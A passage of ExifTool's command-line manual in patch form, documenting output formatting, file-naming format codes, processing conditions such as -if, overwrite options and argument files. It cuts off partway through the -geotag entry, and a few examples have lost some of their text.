files. A section is defined as +a group of consecutive files with the same section header (eg. files are +grouped by directory if C<#[SECT]> contains C<$directory>). Lines beginning +with C<#[BODY]> and lines not beginning with C<#> are output for each +processed file. Lines beginning with C<#[IF]> are not output, but all BODY +lines are skipped if any tag on an IF line doesn't exist. Other lines +beginning with C<#> are ignored. (To output a line beginning with C<#>, use +C<#[BODY]#>.) For example, this format file: + + # this is a comment line + #[HEAD]-- Generated by ExifTool $exifToolVersion -- + File: $FileName - $DateTimeOriginal + (f/$Aperture, ${ShutterSpeed}s, ISO $EXIF:ISO) + #[TAIL]-- end -- + +with this command: + + exiftool -p test.fmt a.jpg b.jpg + +produces output like this: + + -- Generated by ExifTool 12.87 -- + File: a.jpg - 2003:10:31 15:44:19 + (f/5.6, 1/60s, ISO 100) + File: b.jpg - 2006:05:23 11:57:38 + (f/8.0, 1/13s, ISO 100) + -- end -- + +The values of List-type tags with multiple items, Shortcut tags representing +multiple tags, and matching tags when the C group is specified are +joined according the B<-sep> option setting when interpolated in the string. +(Note that when C is used as a group name, dupicate tags are included +regardless of the Duplicates option setting.) When C is used as a tag +name, a value of 1 is returned if any tag exists in the specified group, or +0 otherwise (unless the C group is also specified, in which case the +values of all matching tags are joined). + +When B<-ee> (B<-extractEmbedded>) is combined with B<-p>, embedded documents +are effectively processed as separate input files. + +If a specified tag does not exist, a minor warning is issued and the line +with the missing tag is not printed. However, the B<-f> option may be used +to set the value of missing tags to '-' (but this may be configured via the +API MissingTagValue option), or the B<-m> option may be used to ignore minor +warnings and leave the missing values empty. Alternatively, B<-q -q> may be +used to simply suppress the warning messages. + +The L may be used to modify the values of +individual tags within the B<-p> option string. + +Note that the API RequestTags option is automatically set for all tags used +in the I or I. This allows all other tags to be ignored using +B<-API IgnoreTags=all>, resulting in reduced memory usage and increased +speed. + +=item B<-php> + +Format output as a PHP Array. The B<-g>, B<-G>, B<-D>, B<-H>, B<-l>, +B<-sep> and B<-struct> options combine with B<-php>, and duplicate tags are +handled in the same way as with the B<-json> option. As well, the B<-b> +option may be added to output binary data, and B<-t> may be added to include +tag table information (see B<-t> for details). Here is a simple example +showing how this could be used in a PHP script: + + + +=item B<-s>[I] (B<-short>) + +Short output format. Prints tag names instead of descriptions. Add I +or up to 3 B<-s> options for even shorter formats: + + -s1 or -s - print tag names instead of descriptions + -s2 or -s -s - no extra spaces to column-align values + -s3 or -s -s -s - print values only (no tag names) + +Also effective when combined with B<-t>, B<-h>, B<-X> or B<-listx> options. + +=item B<-S> (B<-veryShort>) + +Very short format. The same as B<-s2> or two B<-s> options. Tag names are +printed instead of descriptions, and no extra spaces are added to +column-align values. + +=item B<-sep> I (B<-separator>) + +Specify separator string for items in list-type tags. When reading, the +default is to join list items with ", ". When writing, this option causes +values assigned to list-type tags to be split into individual items at each +substring matching I (otherwise they are not split by default). Space +characters in I match zero or more whitespace characters in the value. + +Note that an empty separator ("") is allowed, and will join items with no +separator when reading, or split the value into individual characters when +writing. + +For pure binary output (B<-b> used without B<-j>, B<-php> or B<-X>), the +first B<-sep> option specifies a list-item separator, and a second B<-sep> +option specifies a terminator for the end of the list (or after each value +if not a list). In these strings, C<\n>, C<\r> and C<\t> may be used to +represent a newline, carriage return and tab respectively. By default, +binary list items are separated by a newline, and no terminator is added. + +=item B<-sort>, B<--sort> + +Sort output by tag description, or by tag name if the B<-s> option is used. +When sorting by description, the sort order will depend on the B<-lang> +option setting. Without the B<-sort> option, tags appear in the order they +were specified on the command line, or if not specified, the order they were +extracted from the file. By default, tags are organized by groups when +combined with the B<-g> or B<-G> option, but this grouping may be disabled +with B<--sort>. + +=item B<-struct>, B<--struct> + +Output structured XMP information instead of flattening to individual tags. +This option works well when combined with the XML (B<-X>) and JSON (B<-j>) +output formats. For other output formats, XMP structures and lists are +serialized into the same format as when writing structured information (see +L for details). When copying, structured +tags are copied by default unless B<--struct> is used to disable this +feature (although flattened tags may still be copied by specifying them +individually unless B<-struct> is used). These options have no effect when +assigning new values since both flattened and structured tags may always be +used when writing. + +=item B<-t> (B<-tab>) + +Output a tab-delimited list of description/values (useful for database +import). May be combined with B<-s> to print tag names instead of +descriptions, or B<-S> to print tag values only, tab-delimited on a single +line. The B<-t> option may be combined with B<-j>, B<-php> or B<-X> to add +tag table information (C, tag C, and C for cases where +multiple conditional tags exist with the same ID). + +=item B<-T> (B<-table>) + +Output tag values in table form. Equivalent to B<-t -S -q -f>. + +=item B<-v>[I] (B<-verbose>) + +Print verbose messages. I specifies the level of verbosity in the +range 0-5, with higher numbers being more verbose. If I is not given, +then each B<-v> option increases the level of verbosity by 1. With any +level greater than 0, most other options are ignored and normal console +output is suppressed unless specific tags are extracted. Using B<-v0> +causes the console output buffer to be flushed after each line (which may be +useful to avoid delays when piping exiftool output), and prints the name of +each processed file when writing and the new file name when renaming, +moving or copying. Verbose levels above B<-v0> do not flush after each +line. Also see the B<-progress> option. + +=item B<-w>[+|!] I or I (B<-textOut>) + +Write console output to files with names ending in I, one for each +source file. The output file name is obtained by replacing the source file +extension (including the '.') with the specified extension (and a '.' is +added to the start of I if it doesn't already contain one). +Alternatively, a I string may be used to give more control over the +output file name and directory. In the format string, %d, %f and %e +represent the directory, filename and extension of the source file, and %c +represents a copy number which is automatically incremented if the file +already exists. %d includes the trailing '/' if necessary, but %e does not +include the leading '.'. For example: + + -w %d%f.txt # same effect as "-w txt" + -w dir/%f_%e.out # write files to "dir" as "FILE_EXT.out" + -w dir2/%d%f.txt # write to "dir2", keeping dir structure + -w a%c.txt # write to "a.txt" or "a1.txt" or "a2.txt"... + +Existing files will not be changed unless an exclamation point is added to +the option name (ie. B<-w!> or B<-textOut!>) to overwrite the file, or a +plus sign (ie. B<-w+> or B<-textOut+>) to append to the existing file. Both +may be used (ie. B<-w+!> or B<-textOut+!>) to overwrite output files that +didn't exist before the command was run, and append the output from multiple +source files. For example, to write one output file for all source files in +each directory: + + exiftool -filename -createdate -T -w+! %d/out.txt -r DIR + +Capitalized format codes %D, %F, %E and %C provide slightly different +alternatives to the lower case versions. %D does not include the trailing +'/', %F is the full filename including extension, %E includes the leading +'.', and %C increments the count for each processed file (see below). + +Notes: + +1) In a Windows BAT file the C<%> character is represented by C<%%>, so an +argument like C<%d%f.txt> is written as C<%%d%%f.txt>. + +2) If the argument for B<-w> does not contain a valid format code (eg. %f), +then it is interpreted as a file extension, but there are three different +ways to create a single output file from multiple source files: + + # 1. Shell redirection + exiftool FILE1 FILE2 ... > out.txt + + # 2. With the -w option and a zero-width format code + exiftool -w+! %0fout.txt FILE1 FILE2 ... + + # 3. With the -W option (see the -W option below) + exiftool -W+! out.txt FILE1 FILE2 ... + +Advanced features: + +A substring of the original file name, directory or extension may be taken +by specifying a field width immediately following the '%' character. If the +width is negative, the substring is taken from the end. The substring +position (characters to ignore at the start or end of the string) may be +given by a second optional value after a decimal point. For example: + + Input File Name Format Specifier Output File Name + ---------------- ---------------- ---------------- + Picture-123.jpg %7f.txt Picture.txt + Picture-123.jpg %-.4f.out Picture.out + Picture-123.jpg %7f.%-3f Picture.123 + Picture-123a.jpg Meta%-3.1f.txt Meta123.txt + +(Note that special characters may have a width of greater than one.) + +For %d and %D, the field width/position specifiers may be applied to the +directory levels instead of substring position by using a colon instead of a +decimal point in the format specifier. For example: + + Source Dir Format Result Notes + ------------ ------ ---------- ------------------ + pics/2012/02 %2:d pics/2012/ take top 2 levels + pics/2012/02 %-:1d pics/2012/ up one directory level + pics/2012/02 %:1d 2012/02/ ignore top level + pics/2012/02 %1:1d 2012/ take 1 level after top + pics/2012/02 %-1:D 02 bottom level folder name + /Users/phil %:2d phil/ ignore top 2 levels + +(Note that the root directory counts as one level when an absolute path is +used as in the last example above.) + +For %c, these modifiers have a different effects. If a field width is +given, the copy number is padded with zeros to the specified width. A +leading '-' adds a dash before the copy number, and a '+' adds an underline. +By default, the copy number is omitted from the first file of a given name, +but this can be changed by adding a decimal point to the modifier. For +example: + + -w A%-cZ.txt # AZ.txt, A-1Z.txt, A-2Z.txt ... + -w B%5c.txt # B.txt, B00001.txt, B00002.txt ... + -w C%.c.txt # C0.txt, C1.txt, C2.txt ... + -w D%-.c.txt # D-0.txt, D-1.txt, D-2.txt ... + -w E%-.4c.txt # E-0000.txt, E-0001.txt, E-0002.txt ... + -w F%-.4nc.txt # F-0001.txt, F-0002.txt, F-0003.txt ... + -w G%+c.txt # G.txt, G_1.txt G_2.txt ... + -w H%-lc.txt # H.txt, H-b.txt, H-c.txt ... + -w I.%.3uc.txt # I.AAA.txt, I.AAB.txt, I.AAC.txt ... + +A special feature allows the copy number to be incremented for each +processed file by using %C (upper case) instead of %c. This allows a +sequential number to be added to output file names, even if the names are +different. For %C, a copy number of zero is not omitted as it is with %c. +A leading '-' causes the number to be reset at the start of each new +directory (in the original directory structure if the files are being +moved), and '+' has no effect. The number before the decimal place gives +the starting index, the number after the decimal place gives the field +width. The following examples show the output filenames when used with the +command C: + + -w %C%f.txt # 0rose.txt, 1star.txt, 2jet.txt + -w %f-%10C.txt # rose-10.txt, star-11.txt, jet-12.txt + -w %.3C-%f.txt # 000-rose.txt, 001-star.txt, 002-jet.txt + -w %57.4C%f.txt # 0057rose.txt, 0058star.txt, 0059jet.txt + +All format codes may be modified by 'l' or 'u' to specify lower or upper +case respectively (ie. C<%le> for a lower case file extension). When used +to modify %c or %C, the numbers are changed to an alphabetical base (see +example H above). Also, %c and %C may be modified by 'n' to count using +natural numbers starting from 1, instead of 0 (see example F above). + +This same I syntax is used with the B<-o> and B<-tagsFromFile> options, +although %c and %C are only valid for output file names. + +=item B<-W>[+|!] I (B<-tagOut>) + +This enhanced version of the B<-w> option allows a separate output file to +be created for each extracted tag. See the B<-w> option documentation above +for details of the basic functionality. Listed here are the differences +between B<-W> and B<-w>: + +1) With B<-W>, a new output file is created for each extracted tag. + +2) B<-W> supports four additional format codes: %t, %g and %s represent the +tag name, group name, and suggested extension for the output file (based on +the format of the data), and %o represents the value of the +OriginalRawFileName or OriginalFileName tag from the input file (including +extension). The %g code may be followed by a single digit to specify the +group family number (eg. %g1), otherwise family 0 is assumed. The substring +width/position/case specifiers may be used with these format codes in +exactly the same way as with %f and %e. + +3) The argument for B<-W> is interpreted as a file name if it contains no +format codes. (For B<-w>, this would be a file extension.) This change +allows a simple file name to be specified, which, when combined with the +append feature, provides a method to write metadata from multiple source +files to a single output file without the need for shell redirection. For +example, the following pairs of commands give the same result: + + # overwriting existing text file + exiftool test.jpg > out.txt # shell redirection + exiftool test.jpg -W+! out.txt # equivalent -W option + + # append to existing text file + exiftool test.jpg >> out.txt # shell redirection + exiftool test.jpg -W+ out.txt # equivalent -W option + +4) Adding the B<-v> option to B<-W> sends a list of the tags and output file +names to the console instead of giving a verbose dump of the entire file. +(Unless appending all output to one file for each source file by using +B<-W+> with an output file I that does not contain %t, %g, %s or %o.) + +5) Individual list items are stored in separate files when B<-W> is combined +with B<-b>, but note that for separate files to be created %c or %C must be +used in I to give the files unique names. + +=item B<-Wext> I, B<--Wext> I (B<-tagOutExt>) + +This option is used to specify the type of output file(s) written by the +B<-W> option. An output file is written only if the suggested extension +matches I. Multiple B<-Wext> options may be used to write more than +one type of file. Use B<--Wext> to write all but the specified type(s). + +=item B<-X> (B<-xmlFormat>) + +Use ExifTool-specific RDF/XML formatting for console output. Implies the +B<-a> option, so duplicate tags are extracted. The formatting options +B<-b>, B<-D>, B<-H>, B<-l>, B<-s>, B<-sep>, B<-struct> and B<-t> may be used +in combination with B<-X> to affect the output, but note that the tag ID +(B<-D>, B<-H> and B<-t>), binary data (B<-b>) and structured output +(B<-struct>) options are not effective for the short output (B<-s>). Another +restriction of B<-s> is that only one tag with a given group and name may +appear in the output. Note that the tag ID options (B<-D>, B<-H> and B<-t>) +will produce non-standard RDF/XML unless the B<-l> option is also used. + +By default, B<-X> outputs flattened tags, so B<-struct> should be added if +required to preserve XMP structures. List-type tags with multiple values +are formatted as an RDF Bag, but they are combined into a single string when +B<-s> or B<-sep> is used. Using B<-L> changes the XML encoding from "UTF-8" +to "windows-1252". Other B<-charset> settings change the encoding only if +there is a corresponding standard XML character set. The B<-b> option +causes binary data values to be written, encoded in base64 if necessary. +The B<-t> option adds tag table information to the output (see B<-t> for +details). + +Note: This output is NOT the same as XMP because it uses +dynamically-generated property names corresponding to the ExifTool tag names +with ExifTool family 1 group names as namespaces, and not the standard XMP +properties and namespaces. To write XMP instead, use the B<-o> option with +an XMP extension for the output file. + +=back + +=head3 Processing control + +=over 5 + +=item B<-a>, B<--a> (B<-duplicates>, B<--duplicates>) + +Allow (B<-a>) or suppress (B<--a>) duplicate tag names to be extracted. By +default, duplicate tags are suppressed when reading unless the B<-ee> or B<-X> +options are used or the Duplicates option is enabled in the configuration file. +When writing, this option allows multiple Warning messages to be shown. +Duplicate tags are always extracted when copying. + +=item B<-e> (B<--composite>) + +Extract existing tags only -- don't generate composite tags. + +=item B<-ee>[I] (B<-extractEmbedded>) + +Extract information from embedded documents in EPS files, embedded EPS +information and JPEG and Jpeg2000 images in PDF files, embedded MPF images +in JPEG and MPO files, streaming metadata in AVCHD videos, and the resource +fork of Mac OS files. Implies the B<-a> option. Use B<-g3> or B<-G3> to +identify the originating document for extracted information. Embedded +documents containing sub-documents are indicated with dashes in the family 3 +group name. (eg. C is the 3rd sub-document of the 2nd embedded +document.) Note that this option may increase processing time substantially, +especially for PDF files with many embedded images or videos with streaming +metadata. + +When used with B<-ee>, the B<-p> option is evaluated for each embedded +document as if it were a separate input file. This allows, for example, +generation of GPS track logs from timed metadata in videos. See +L for examples. + +Setting I to 2 causes the H264 video stream in MP4 videos to be parsed +until the first Supplemental Enhancement Information (SEI) message is +decoded, or 3 to parse the entire H624 stream and decode all SEI +information. For M2TS videos, a setting of 3 causes the entire file to be +parsed in search of unlisted programs which may contain timed GPS. + +=item B<-ext>[+] I, B<--ext> I (B<-extension>) + +Process only files with (B<-ext>) or without (B<--ext>) a specified +extension. There may be multiple B<-ext> and B<--ext> options. A plus sign +may be added (ie. B<-ext+>) to add the specified extension to the normally +processed files. EXT may begin with a leading '.', which is ignored. Case +is not significant. C<"*"> may be used to process files with any extension +(or none at all), as in the last three examples: + + exiftool -ext JPG DIR # process only JPG files + exiftool --ext cr2 --ext dng DIR # supported files but CR2/DNG + exiftool -ext+ txt DIR # supported files plus TXT + exiftool -ext "*" DIR # process all files + exiftool -ext "*" --ext xml DIR # process all but XML files + exiftool -ext "*" --ext . DIR # all but those with no ext + +Using this option has two main advantages over specifying C<*.I> on the +command line: 1) It applies to files in subdirectories when combined with +the B<-r> option. 2) The B<-ext> option is case-insensitive, which is +useful when processing files on case-sensitive filesystems. + +Note that all files specified on the command line will be processed +regardless of extension unless the B<-ext> option is used. + +=item B<-F>[I] (B<-fixBase>) + +Fix the base for maker notes offsets. A common problem with some image +editors is that offsets in the maker notes are not adjusted properly when +the file is modified. This may cause the wrong values to be extracted for +some maker note entries when reading the edited file. This option allows an +integer I to be specified for adjusting the maker notes base offset. +If no I is given, ExifTool takes its best guess at the correct base. +Note that exiftool will automatically fix the offsets for images which store +original offset information (eg. newer Canon models). Offsets are fixed +permanently if B<-F> is used when writing EXIF to an image. eg) + + exiftool -F -exif:resolutionunit=inches image.jpg + +=item B<-fast>[I] + +Increase speed of extracting information. With B<-fast> (or B<-fast1>), +ExifTool will not scan to the end of a JPEG image to check for an AFCP or +PreviewImage trailer, or past the first comment in GIF images or the +audio/video data in WAV/AVI files to search for additional metadata. These +speed benefits are small when reading images directly from disk, but can be +substantial if piping images through a network connection. For more +substantial speed benefits, B<-fast2> also causes exiftool to avoid +extracting any EXIF MakerNote information, and to stop processing at the +IDAT chunk of PNG images and the mdat atom of QuickTime-format files (but +note that some files may store metadata after this). B<-fast3> avoids +extracting metadata from the file, and returns only pseudo System tags, but +still reads the file header to obtain an educated guess at FileType. +B<-fast4> doesn't even read the file header, and returns only System tags +and a FileType based on the file extension. B<-fast5> also disables +generation of the Composite tags (like B<-e>). Has no effect when writing. + +Note that a separate B<-fast> setting may be used for evaluation of a B<-if> +condition, or when ordering files with the B<-fileOrder> option. See the +B<-if> and B<-fileOrder> options for details. + +=item B<-fileOrder>[I] [-]I + +Set file processing order according to the sorted value of the specified +I. For example, to process files in order of date: + + exiftool -fileOrder DateTimeOriginal DIR + +Additional B<-fileOrder> options may be added for secondary sort keys. +Numbers are sorted numerically, and all other values are sorted +alphabetically. Files missing the specified tag are sorted last. The sort +order may be reversed by prefixing the tag name with a C<-> (eg. +C<-fileOrder -createdate>). Print conversion of the sorted values is +disabled with the B<-n> option, or a C<#> appended to the tag name. Other +formatting options (eg. B<-d>) have no effect on the sorted values. Note +that the B<-fileOrder> option can incur large performance penalty since it +involves an additional initial processing pass of all files, but this impact +may be reduced by specifying a I to effectively set the B<-fast> level +for the initial pass. For example, B<-fileOrder4> may be used if I is +a pseudo System tag. If multiple B<-fileOrder> options are used, the +extraction is done at the lowest B<-fast> level. Note that files are sorted +across directory boundaries if multiple input directories are specified. + +=item B<-i> I (B<-ignore>) + +Ignore specified directory name. I may be either an individual folder +name, or a full path. If a full path is specified, it must match the +Directory tag exactly to be ignored. Use multiple B<-i> options to ignore +more than one directory name. A special I value of C (case +sensitive) may be specified to avoid recursing into directories which are +symbolic links when the B<-r> option is used. As well, a value of C +(case sensitive) may be used to ignore files with names that start with a +"." (ie. hidden files on Unix systems) when scanning a directory. + +=item B<-if>[I] I + +Specify a condition to be evaluated before processing each I. I +is a Perl-like logic expression containing tag names prefixed by C<$> +symbols. It is evaluated with the tags from each I in turn, and the +file is processed only if the expression returns true. Unlike Perl variable +names, tag names are not case sensitive and may contain a hyphen. As well, +tag names may have a leading group names separated by colons, and/or a +trailing C<#> character to disable print conversion. The expression +C<$GROUP:all> evaluates to 1 if any tag exists in the specified C, or +0 otherwise (see note 2 below). When multiple B<-if> options are used, all +conditions must be satisfied to process the file. Returns an exit status of +2 if all files fail the condition. Below are a few examples: + + # extract shutterspeed from all Canon images in a directory + exiftool -shutterspeed -if '$make eq "Canon"' dir + + # add one hour to all images created on or after Apr. 2, 2006 + exiftool -alldates+=1 -if '$CreateDate ge "2006:04:02"' dir + + # set EXIF ISO value if possible, unless it is set already + exiftool '-exif:iso to the B<-if> option causes a separate processing pass to be +executed for evaluating I at a B<-fast> level given by I (see the +B<-fast> option documentation for details). Without I, only one +processing pass is done at the level specified by the B<-fast> option. For +example, using B<-if5> is possible if I uses only pseudo System tags, +and may significantly speed processing if enough files fail the condition. + +The expression has access to the current ExifTool object through C<$self>, +and the following special functions are available to allow short-circuiting +of the file processing. Both functions have a return value of 1. Case is +significant for function names. + + End() - end processing after this file + EndDir() - end processing of files in the current directory + after this file (not compatible with -fileOrder) + +Notes: + +1) The B<-n> and B<-b> options also apply to tags used in I. + +2) Some binary data blocks are not extracted unless specified explicitly. +These tags are not available for use in the B<-if> condition unless they are +also specified on the command line. The alternative is to use the +C<$GROUP:all> syntax. (eg. Use C<$exif:all> instead of C<$exif> in I +to test for the existence of EXIF tags.) + +3) Tags in the string are interpolated in a similar way to B<-p> before the +expression is evaluated. In this interpolation, C<$/> is converted to a +newline and C<$$> represents a single C<$> symbol. So Perl variables, if +used, require a double C<$>, and regular expressions ending in C<$/> must +use C<$$/> instead. + +4) The condition accesses only tags from the file being processed unless the +B<-fileNUM> option is used to read an alternate file and the corresponding +family 8 group name is specified for the tag. See the B<-fileNUM> option +details for more information. + +5) The B<-a> option has no effect on the evaluation of the expression, and +the values of duplicate tags are accessible only by specifying a group name +(such as a family 4 instance number, eg. C<$Copy1:TAG>, C<$Copy2:TAG>, etc). + +6) A special "OK" UserParam is available to test the success of the previous +command when B<-execute> was used, and may be used like any other tag in the +condition (ie. "$OK"). + +7) The API RequestTags option is automatically set for all tags used in the +B<-if> condition. + +=item B<-m> (B<-ignoreMinorErrors>) + +Ignore minor errors and warnings. This enables writing to files with minor +errors and disables some validation checks which could result in minor +warnings. Generally, minor errors/warnings indicate a problem which usually +won't result in loss of metadata if ignored. However, there are exceptions, +so ExifTool leaves it up to you to make the final decision. Minor errors +and warnings are indicated by "[minor]" at the start of the message. +Warnings which affect processing when ignored are indicated by "[Minor]" +(with a capital "M"). Note that this causes missing values in +B<-tagsFromFile>, B<-p> and B<-if> strings to be set to an empty string +rather than an undefined value. + +=item B<-o> I or I (B<-out>) + +Set the output file or directory name when writing information. Without +this option, when any "real" tags are written the original file is renamed +to C and output is written to I. When writing only +FileName and/or Directory "pseudo" tags, B<-o> causes the file to be copied +instead of moved, but directories specified for either of these tags take +precedence over that specified by the B<-o> option. + +I may be C<-> to write to stdout. The output file name may also be +specified using a I string in which %d, %f and %e represent the +directory, file name and extension of I. Also, %c may be used to add +a copy number. See the B<-w> option for I string examples. + +The output file is taken to be a directory name if it already exists as a +directory or if the name ends with '/'. Output directories are created if +necessary. Existing files will not be overwritten. Combining the +B<-overwrite_original> option with B<-o> causes the original source file to +be erased after the output file is successfully written. + +A special feature of this option allows the creation of certain types of +files from scratch, or with the metadata from another type of file. The +following file types may be created using this technique: + + XMP, EXIF, EXV, MIE, ICC/ICM, VRD, DR4 + +The output file type is determined by the extension of I (specified +as C<-.EXT> when writing to stdout). The output file is then created from a +combination of information in I (as if the B<-tagsFromFile> option was +used), and tag values assigned on the command line. If no I is +specified, the output file may be created from scratch using only tags +assigned on the command line. + +=item B<-overwrite_original> + +Overwrite the original I (instead of preserving it by adding +C<_original> to the file name) when writing information to an image. +Caution: This option should only be used if you already have separate backup +copies of your image files. The overwrite is implemented by renaming a +temporary file to replace the original. This deletes the original file and +replaces it with the edited version in a single operation. When combined +with B<-o>, this option causes the original file to be deleted if the output +file was successfully written (ie. the file is moved instead of copied). + +=item B<-overwrite_original_in_place> + +Similar to B<-overwrite_original> except that an extra step is added to +allow the original file attributes to be preserved. For example, on a Mac +this causes the original file creation date, type, creator, label color, +icon, Finder tags, other extended attributes and hard links to the file to +be preserved (but note that the Mac OS resource fork is always preserved +unless specifically deleted with C<-rsrc:all=>). This is implemented by +opening the original file in update mode and replacing its data with a copy +of a temporary file before deleting the temporary. The extra step results +in slower performance, so the B<-overwrite_original> option should be used +instead unless necessary. + +Note that this option reverts to the behaviour of the B<-overwrite_original> +option when also writing the FileName and/or Directory tags. + +=item B<-P> (B<-preserve>) + +Preserve the filesystem modification date/time (C) of the +original file when writing. Note that some filesystems store a creation +date (ie. C on Windows and Mac systems) which is not +affected by this option. This creation date is preserved on Windows systems +where Win32API::File and Win32::API are available regardless of this +setting. For other systems, the B<-overwrite_original_in_place> option may +be used if necessary to preserve the creation date. The B<-P> option is +superseded by any value written to the FileModifyDate tag. + +=item B<-password> I + +Specify password to allow processing of password-protected PDF documents. +If a password is required but not given, a warning is issued and the +document is not processed. This option is ignored if a password is not +required. + +=item B<-progress>[NUM][:[I]] + +Show the progress when processing files. Without a colon, the B<-progress> +option adds a progress count in brackets after the name of each processed +file, giving the current file number and the total number of files to be +processed. Implies the B<-v0> option, causing the names of processed files +to also be printed when writing. When combined with the B<-if> option, the +total count includes all files before the condition is applied, but files +that fail the condition will not have their names printed. If NUM is +specified, the progress is shown every NUM input files. + +If followed by a colon (ie. B<-progress:>), the console window title is set +according to the specified I<TITLE> string. If no I<TITLE> is given, a +default I<TITLE> string of "ExifTool %p%%" is assumed. In the string, %f +represents the file name, %p is the progress as a percent, %r is the +progress as a ratio, %##b is a progress bar of width "##" (where "##" is an +integer specifying the bar width in characters, or 20 characters by default +if "##" is omitted), and %% is a % character. May be combined with the +normal B<-progress> option to also show the progress count in console +messages. (Note: For this feature to function correctly on Mac/Linux, stderr +must go to the console.) + +=item B<-q> (B<-quiet>) + +Quiet processing. One B<-q> suppresses normal informational messages, and a +second B<-q> suppresses warnings as well. Error messages can not be +suppressed, although minor errors may be downgraded to warnings with the +B<-m> option, which may then be suppressed with C<-q -q>. + +=item B<-r>[.] (B<-recurse>) + +Recursively process files in subdirectories. Only meaningful if I<FILE> is +a directory name. Subdirectories with names beginning with "." are not +processed unless "." is added to the option name (ie. B<-r.> or +B<-recurse.>). By default, exiftool will also follow symbolic links to +directories if supported by the system, but this may be disabled with +C<-i SYMLINKS> (see the B<-i> option for details). Combine this with +B<-ext> options to control the types of files processed. + +=item B<-scanForXMP> + +Scan all files (even unsupported formats) for XMP information unless found +already. When combined with the B<-fast> option, only unsupported file +types are scanned. Warning: It can be time consuming to scan large files. + +=item B<-u> (B<-unknown>) + +Extract values of unknown tags. Add another B<-u> to also extract unknown +information from binary data blocks. This option applies to tags with +numerical tag ID's, and causes tag names like "Exif_0xc5d9" to be generated +for unknown information. It has no effect on information types which have +human-readable tag ID's (such as XMP), since unknown tags are extracted +automatically from these formats. + +=item B<-U> (B<-unknown2>) + +Extract values of unknown tags as well as unknown information from some +binary data blocks. This is the same as two B<-u> options. + +=item B<-wm> I<MODE> (B<-writeMode>) + +Set mode for writing/creating tags. I<MODE> is a string of one or more +characters from the list below. The default write mode is C<wcg>. + + w - Write existing tags + c - Create new tags + g - create new Groups as necessary + +For example, use C<-wm cg> to only create new tags (and avoid editing +existing ones). + +The level of the group is the SubDirectory level in the metadata structure. +For XMP or IPTC this is the full XMP/IPTC block (the family 0 group), but +for EXIF this is the individual IFD (the family 1 group). + +=item B<-z> (B<-zip>) + +When reading, causes information to be extracted from .gz and .bz2 +compressed images (only one image per archive; requires gzip and bzip2 to be +available). When writing, causes compressed information to be written if +supported by the metadata format (eg. PNG supports compressed textual +metadata, JXL supports compressed EXIF and XML, and MIE supports any +compressed metadata), disables the recommended padding in embedded XMP +(saving 2424 bytes when writing XMP in a file), and writes XMP in shorthand +format -- the equivalent of setting the API Compress=1 and +Compact="NoPadding,Shorthand". + +=back + +=head3 Other options + +=over 5 + +=item B<-@> I<ARGFILE> + +Read command-line arguments from the specified file. The file contains one +argument per line (NOT one option per line -- some options require +additional arguments, and all arguments must be placed on separate lines). +Blank lines and lines beginning with C<#> are ignored (unless they start +with C<#[CSTR]>, in which case the rest of the line is treated as a C +string, allowing standard C escape sequences such as "\n" for a newline). +White space at the start of a line is removed. Normal shell processing of +arguments is not performed, which among other things means that arguments +should not be quoted and spaces are treated as any other character. +I<ARGFILE> may exist relative to either the current directory or the +exiftool directory unless an absolute pathname is given. + +For example, the following I<ARGFILE> will set the value of Copyright to +"Copyright YYYY, Phil Harvey", where "YYYY" is the year of CreateDate: + + -d + %Y + -copyright<Copyright $createdate, Phil Harvey + +Arguments in I<ARGFILE> behave exactly the same as if they were entered at +the location of the B<-@> option on the command line, with the exception +that the B<-config> and B<-common_args> options may not be used in an +I<ARGFILE>. + +=item B<-k> (B<-pause>) + +Pause with the message C<-- press any key --> or C<-- press RETURN --> +(depending on your system) before terminating. This option is used to +prevent the command window from closing when run as a Windows drag and drop +application. + +=item B<-list>, B<-listw>, B<-listf>, B<-listr>, B<-listwf>, +B<-listg>[I<NUM>], B<-listd>, B<-listx>, B<-listgeo> + +Print a list of all valid tag names (B<-list>), all writable tag names +(B<-listw>), all supported file extensions (B<-listf>), all recognized file +extensions (B<-listr>), all writable file extensions (B<-listwf>), all tag +groups [in a specified family] (B<-listg>[I<NUM>]), all deletable tag groups +(B<-listd>), an XML database of tag details including language translations +(B<-listx>), or the Geolocation database (B<-listgeo>). The B<-list>, +B<-listw> and B<-listx> options may be followed by an additional argument of +the form C<-GROUP:All> to list only tags in a specific group, where C<GROUP> +is one or more family 0-2 group names (excepting EXIF IFD groups) separated +by colons. With B<-listg>, I<NUM> may be given to specify the group family, +otherwise family 0 is assumed. The B<-l> option may be combined with +B<-listf>, B<-listr> or B<-listwf> to add file descriptions to the list. +The B<-lang> option may be combined with B<-listx> to output descriptions in +a single language, and the B<-sort> and/or B<-lang> options may be combined +with B<-listgeo>. Also, the API GeolocMinPop, GeolocFeature and +GeolocAltNames options apply to the B<-listgeo> output. Here are some +examples: + + -list # list all tag names + -list -EXIF:All # list all EXIF tags + -list -xmp:time:all # list all XMP tags relating to time + -listw -XMP-dc:All # list all writable XMP-dc tags + -listf # list all supported file extensions + -listr # list all recognized file extensions + -listwf # list all writable file extensions + -listg1 # list all groups in family 1 + -listd # list all deletable groups + -listx -EXIF:All # list database of EXIF tags in XML format + -listx -XMP:All -s # list short XML database of XMP tags + -listgeo -lang de # list geolocation database in German + +When combined with B<-listx>, the B<-s> option shortens the output by +omitting the descriptions and values (as in the last example above), and +B<-f> adds 'flags' and 'struct' attributes if applicable. The flags are +formatted as a comma-separated list of the following possible values: +Avoid, Binary, List, Mandatory, Permanent, Protected, Unknown and Unsafe +(see the L<Tag Name documentation|Image::ExifTool::TagNames>). For XMP List +tags, the list type (Alt, Bag or Seq) is added to the flags, and flattened +structure tags are indicated by a Flattened flag with 'struct' giving the ID +of the parent structure. + +Note that none of the B<-list> options require an input I<FILE>. + +=item B<-ver> + +Print exiftool version number. The B<-v> option may be added to print +addition system information (see the README file of the full distribution +for more details about optional libraries), or B<-v2> to also list the Perl +include directories. + +=item B<--> + +Indicates the end of options. Any remaining arguments are treated as file +names, even if they begin with a dash (C<->). + +=back + +=head3 Special features + +=over 5 + +=item B<-geotag> I<TRKFILE> + +Geotag images from the specified GPS track log file. Using the B<-geotag> +option is equivalent to writing a value to the C<Geotag> tag. The GPS +position is interpolated from the track at a time specified by the value +written to the C<Geotime> tag. If C<Geotime> is not specified, the value is +copied from C<DateTimeOriginal#> (the C<#> is added to copy the unformatted +value, avoiding potential conflicts with the B<-d> option). For example, +the following two commands are equivalent: + + exiftool -geotag trk.log image.jpg + exiftool -geotag trk.log "-Geotime<DateTimeOriginal#" image.jpg + +When the C<Geotime> value is converted to UTC, the local system timezone is +assumed unless the date/time value contains a timezone. Writing C<Geotime> +causes the following tags to be written (provided they can be calculated +from the track log, and they are supported by the 